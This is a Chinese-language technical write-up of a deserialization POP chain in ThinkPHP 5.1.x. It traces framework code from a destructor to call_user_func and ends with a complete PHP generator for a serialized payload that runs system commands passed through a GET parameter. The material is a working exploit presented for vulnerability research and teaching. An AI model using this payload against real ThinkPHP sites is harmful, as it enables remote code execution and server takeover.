ThinkPHP v5.1.x POP 链分析

2022-10-11 14:55 栏目: 行业交流 查看()

前段时间网上爆出 ThinkPHP 5.1.x 的 POP 链,早就想分析一下,正好最近有空,就记录一下吧

环境:

MacOS 10.13

MAMAP Pro

php 7.0.33 + xdebug

Visual Studio Code

前言

我所理解的 POP Chain:

利用魔术方法并巧妙构造特殊属性调用一系列函数或类方法以执行某种敏感操作的调用堆栈

反序列化常用魔法函数

__wakeup, unserialize() 执行前调用

__destruct, 对销毁的时候调用

__toString, 类被当成字符串时的回应方法

__construct(),当对象创建(new)时会自动调用,注意在

unserialize()时并不会自动调用

__sleep(),serialize()时会先被调用

__call(),在对象中调用一个不可访问方法时调用

__callStatic(),用静态方式中调用一个不可访问方法时调用

__get(),获得一个类的成员变量时调用

__set(),设置一个类的成员变量时调用

__isset(),当对不可访问属性调用isset()或empty()时调用

__unset(),当对不可访问属性调用unset()时被调用。

__wakeup(),执行unserialize()时,先会调用这个函数

__toString(),类被当成字符串时的回应方法

__invoke(),调用函数的方式调用一个对象时的回应方法

__set_state(),调用var_export()导出类时,此静态方法会被调用。

__clone(),当对象复制完成时调用

__autoload(),尝试加载未定义的类

__debugInfo(),打印所需调试信息

phar 文件通过 phar:// 伪协议拓宽攻击面

因为 phar 文件会以序列化的形式存储用户自定义的meta-data,所以在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作,深入了解请至:https://paper.seebug.org/680/

ThinkPHP v5.1.x POP 链分析(图1)

如果对反序列化没有了解的话建议先学习下相关内容

ThinkPHP v5.1.x POP 链分析

安装

这里使用的是官方 ThinkPHP V5.1.38

composer 部署

composer create-project topthink/think=5.1.38 tp5.1.38

利用链

全局搜索函数 __destruct

ThinkPHP v5.1.x POP 链分析(图2)

来到 /thinkphp/library/think/process/pipes/Windows.php

public function __destruct()

{

$this->close();

$this->removeFiles();

}

. . . . . .

/**

* 删除临时文件

*/

private function removeFiles()

{

foreach ($this->files as $filename) {

if (file_exists($filename)) {

@unlink($filename);

}

}

$this->files = [];

}

看下 file_exists 的描述

file_exists ( string $filename ) : bool

如果传入的 $filename 是个反序列化的对象,在被 file_exists 当作字符串处理的时候就会触发其 __toString 方法(如果有的话)

所以下面就是找含 __toString 方法的类

ThinkPHP v5.1.x POP 链分析(图3)

来到 /thinkphp/library/think/model/concern/Conversion.php

public function toJson($options = JSON_UNESCAPED_UNICODE)

{

return json_encode($this->toArray(), $options);

}

. . . . . .

public function __toString()

{

return $this->toJson();

}

可以看到,在 toJson() 函数中又调用了 toArray() 函数

如果 toArray() 函数中存在并使用某个可控变量的方法,那么我们就可以利用这点去触发其他类的 __call 方法

下面是 toArray()函数的定义,$this->append 作为类属性是可控的,所以 $relation 和 $name 也就可控了,于是 $relation->visible($name); 就成了这个 POP 链中的中间跳板

public function toArray()

{

$item = [];

$hasVisible = false;

. . . . . .

// 追加属性(必须定义获取器)

if (!empty($this->append)) {

foreach ($this->append as $key => $name) {

if (is_array($name)) {

// 追加关联对象属性

$relation = $this->getRelation($key);

if (!$relation) {

$relation = $this->getAttr($key);

if ($relation) {

$relation->visible($name);

}

}

$item[$key] = $relation ? $relation->append($name)->toArray() : [];

} elseif (strpos($name, .)) {

. . . . . .

} else {

$item[$name] = $this->getAttr($name, $item);

}

}

}

return $item;

}

那我们在这里应该传入怎么样的值以及什么数据呢,先看下$relation是如何处理得到的

跟进 getRelation,在 /thinkphp/library/think/model/concern/RelationShip.php 中找到函数定义

trait RelationShip

{

. . . . . .

/**

* 获取当前模型的关联模型数据

* @access public

* @param string $name 关联方法名

* @return mixed

*/

public function getRelation($name = null)

{

if (is_null($name)) {

return $this->relation;

} elseif (array_key_exists($name, $this->relation)) {

return $this->relation[$name];

}

return;

}

. . . . . .

}

由于 getRelation 最终都会return;导致返回 NULL,所以 下面的if (!$relation)一定成立

所以直接跟进后面的 getAttr,在 /thinkphp/library/think/model/concern/Attribute.php 找到其定义

trait Attribute

{

. . . . . .

public function getData($name = null)

{

if (is_null($name)) {

return $this->data;

} elseif (array_key_exists($name, $this->data)) {

return $this->data[$name];

} elseif (array_key_exists($name, $this->relation)) {

return $this->relation[$name];

}

throw new InvalidArgumentException(property not exists: . static::class . -> . $name);

}

. . . . . .

public function getAttr($name, &$item = null)

{

try {

$notFound = false;

$value = $this->getData($name);

} catch (InvalidArgumentException $e) {

$notFound = true;

$value = null;

}

. . . . . .

}

}

从 getAttr ---> getData 返回 data 数组中同名键值的元素值,即$relation <---- $this->data[$name],我们需要的$data和$append分别位于 Attribute 和 Conversion,且两者都是 trait 类型

Trait 可以说是和 Class 相似,是 PHP 5.4.0 开始实现的一种代码复用的方法,可以使用 use 加载,举个例子

ThinkPHP v5.1.x POP 链分析(图4)

详情可以看官方手册 PHP: Trait - Manual

所以接下来是寻找一个同时使用了 Attribute 和 Conversion 的类

ThinkPHP v5.1.x POP 链分析(图5)

发现只有 /thinkphp/library/think/Model.php 满足条件

abstract class Model implements \JsonSerializable, \ArrayAccess

{

use model\concern\Attribute;

use model\concern\RelationShip;

use model\concern\ModelEvent;

use model\concern\TimeStamp;

use model\concern\Conversion;

. . . . . .

}

下面就需要找到一个没有 visible 方法却有 __call 方法的类作为执行点

找到 /thinkphp/library/think/Request.php 中的 Request 类

class Request

{

. . . . . .

/**

* 扩展方法

* @var array

*/

protected $hook = [];

. . . . . .

public function __call($method, $args)

{

if (array_key_exists($method, $this->hook)) {

array_unshift($args, $this);

return call_user_func_array($this->hook[$method], $args);

}

throw new Exception(method not exists: . static::class . -> . $method);

}

. . . . . .

}

这里的回调参数来源于$hook数组,而且方法名和参数都是可控的,不过array_unshift函数会把若干元素前置到数组的开头

$queue = array("orange", "banana");

array_unshift($queue, "apple", "raspberry");

print_r($queue);

///

Array

(

[0] => apple

[1] => raspberry

[2] => orange

[3] => banana

)

这样的话明显就很难执行命令了,因为参数数组的第一个元素始终是$this,无法直接执行我们想要的命令, 需要其他某种对参数不是这么敏感的函数作为一个新的执行点或者跳板

Request 类中有一个 filterValue 函数具有过滤功能,寻找调用 filterValue 的地方以便控制$value和$filters好执行命令

private function filterValue(&$value, $key, $filters)

{

$default = array_pop($filters);

foreach ($filters as $filter) {

if (is_callable($filter)) {

// 调用函数或者方法过滤

$value = call_user_func($filter, $value);

} elseif (is_scalar($value)) {

. . . . . .

}

return $value;

}

Request 类中的 input 函数由 array_walk_recursive 调用了 filterValue,但是参数仍不可控,再往上寻找调用点看看

public function input($data = [], $name = , $default = null, $filter = )

{

if (false === $name) {

// 获取原始数据

return $data;

}

$name = (string) $name;

if ( != $name) {

// 解析name

if (strpos($name, /)) {

list($name, $type) = explode(/, $name);

}

$data = $this->getData($data, $name);

if (is_null($data)) {

return $default;

}

if (is_object($data)) {

return $data;

}

}

// 解析过滤器

$filter = $this->getFilter($filter, $default);

if (is_array($data)) {

array_walk_recursive($data, [$this, filterValue], $filter);

if (version_compare(PHP_VERSION, 7.1.0, <)) {

// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针

$this->arrayReset($data);

}

} else {

$this->filterValue($data, $name, $filter);

}

. . . . . .

return $data;

}

Request 类中的 param 函数调用了 input 函数,但同样参数不可控,再往上寻找调用点

public function param($name = , $default = null, $filter = )

{

. . . . . .

if (true === $name) {

// 获取包含文件上传信息的数组

$file = $this->file();

$data = is_array($file) ? array_merge($this->param, $file) : $this->param;

return $this->input($data, , $default, $filter);

}

return $this->input($this->param, $name, $default, $filter);

}

转到 isAjax 函数的定义

public function isAjax($ajax = false)

{

$value = $this->server(HTTP_X_REQUESTED_WITH);

$result = xmlhttprequest == strtolower($value) ? true : false;

if (true === $ajax) {

return $result;

}

$result = $this->param($this->config[var_ajax]) ? true : $result;

$this->mergeParam = false;

return $result;

}

这里$ajax参数没有对类型的限制,而且 param 的参数来自$this->config,是可控的,param 在最后所调用的 input 函数的$this->param, $name就都可控

跟进 get 和 route 函数不难发现$this->param的值来自 GET 请求

// 当前请求参数和URL地址中的参数合并

$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

/*

http://127.0.0.1:9000/public/?test=pwd

$this->param = array("test"=>"pwd")

*/

那么回到 input 函数看处理流程

首先$this->getData($data, $name)得到$data,跟进分析,返回$data为$data[$val]的值,即$data[$name]

protected function getData(array $data, $name)

{

foreach (explode(., $name) as $val) {

if (isset($data[$val])) {

$data = $data[$val];

} else {

return;

}

}

return $data;

}

回到 input,接着处理$filter = $this->getFilter($filter, $default);

getFilter 的两个参数分别为和null且都不可控,但是跟进不难看出最后返回$filter的值就是

$this->filter,虽然后面$filter[] = $default;会给 filter 数组追加个值为null的元素,但后面 filterValue 中的 array_pop 函数正好给去掉了

protected function getFilter($filter, $default)

{

if (is_null($filter)) {

$filter = [];

} else {

$filter = $filter ?: $this->filter;

if (is_string($filter) && false === strpos($filter, /)) {

$filter = explode(,, $filter);

} else {

$filter = (array) $filter;

}

}

$filter[] = $default;

return $filter;

}

这样就得到一条可控变量的函数调用链,最后执行命令

ThinkPHP v5.1.x POP 链分析(图6)

下面简单梳理下流程

通过 Windows 类__destruct()方法调用到file_exists触发某类的__toString()来到toArray()函数通过控制分别位于 Attribute 和 Conversion 的$data和$append变量执行在 Request 中不存在的visible函数进而触发其__call()在 Request 通过控制$hook $filter $config三个变量的值注入最终的 callback 名称和参数,再经这么一系列函数调用执行命令__call() ---> call_user_func_array() ---> isAjax() ---> param() ---> input() ---> filterValue() ---> call_user_func()

画个图就直观多了

ThinkPHP v5.1.x POP 链分析(图7)

构造 Payload

由于 Model 类是 abstract 类型,无法实例化,而extends Model 的也只有一个 Pivot 类,所以就用它吧

<?php

namespace think;

abstract class Model

{

protected $append = [];

private $data = [];

function __construct(){

$this->append = ["a"=>[""]];

$this->data = ["a"=>new Request()];

}

}

namespace think\model;

use think\Model;

class Pivot extends Model

{

}

namespace think\process\pipes;

use think\model\Pivot;

class Windows

{

private $files = [];

public function __construct()

{

$this->files = [new Pivot()];

}

}

namespace think;

class Request

{

protected $hook = [];

protected $filter = "system";

protected $config = [

// 表单请求类型伪装变量

var_method => _method,

// 表单ajax伪装变量

var_ajax => _ajax,

// 表单pjax伪装变量

var_pjax => _pjax,

// PATHINFO变量名 用于兼容模式

var_pathinfo => s,

// 兼容PATH_INFO获取

pathinfo_fetch => [ORIG_PATH_INFO, REDIRECT_PATH_INFO, REDIRECT_URL],

// 默认全局过滤方法 用逗号分隔多个

default_filter => ,

// 域名根,如thinkphp.cn

url_domain_root => ,

// HTTPS代理标识

https_agent_name => ,

// IP代理获取标识

http_agent_ip => HTTP_X_REAL_IP,

// URL伪静态后缀

url_html_suffix => html,

];

function __construct(){

$this->filter = "system";

$this->config = ["var_ajax"=>];

$this->hook = ["visible"=>[$this,"isAjax"]];

}

}

use think\process\pipes\Windows;

echo base64_encode(serialize(new Windows()));

自己先构造一个利用点反序列化我们的内容,生成好 payload,GET 传入要执行的命令,命令别忘了 urlencode

ThinkPHP v5.1.x POP 链分析(图8)

查看调用堆栈

ThinkPHP v5.1.x POP 链分析(图9)

Reference:

https://paper.seebug.org/1040/ https://blog.riskivy.com/%E6%8C%96%E6%8E%98%E6%9A%97%E8%97%8Fthinkphp%E4%B8%AD%E7%9A%84%E5%8F%8D%E5%BA%8F%E5%88%97%E5%88%A9%E7%94%A8%E9%93%BE/

合天网安实验室相关实验推荐:PHP反序列化漏洞实验通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞

举报/反馈
扫二维码与项目经理沟通

全景拍摄制作、网站/小程序/App开发

家装/婚庆/餐饮/教育/公共医疗等行业解决方案

郑重申明:元创全景以外的任何单位或个人,不得使用该内容作为工作成功案例展示!部分素材来源网络,如有侵权,请联系删除。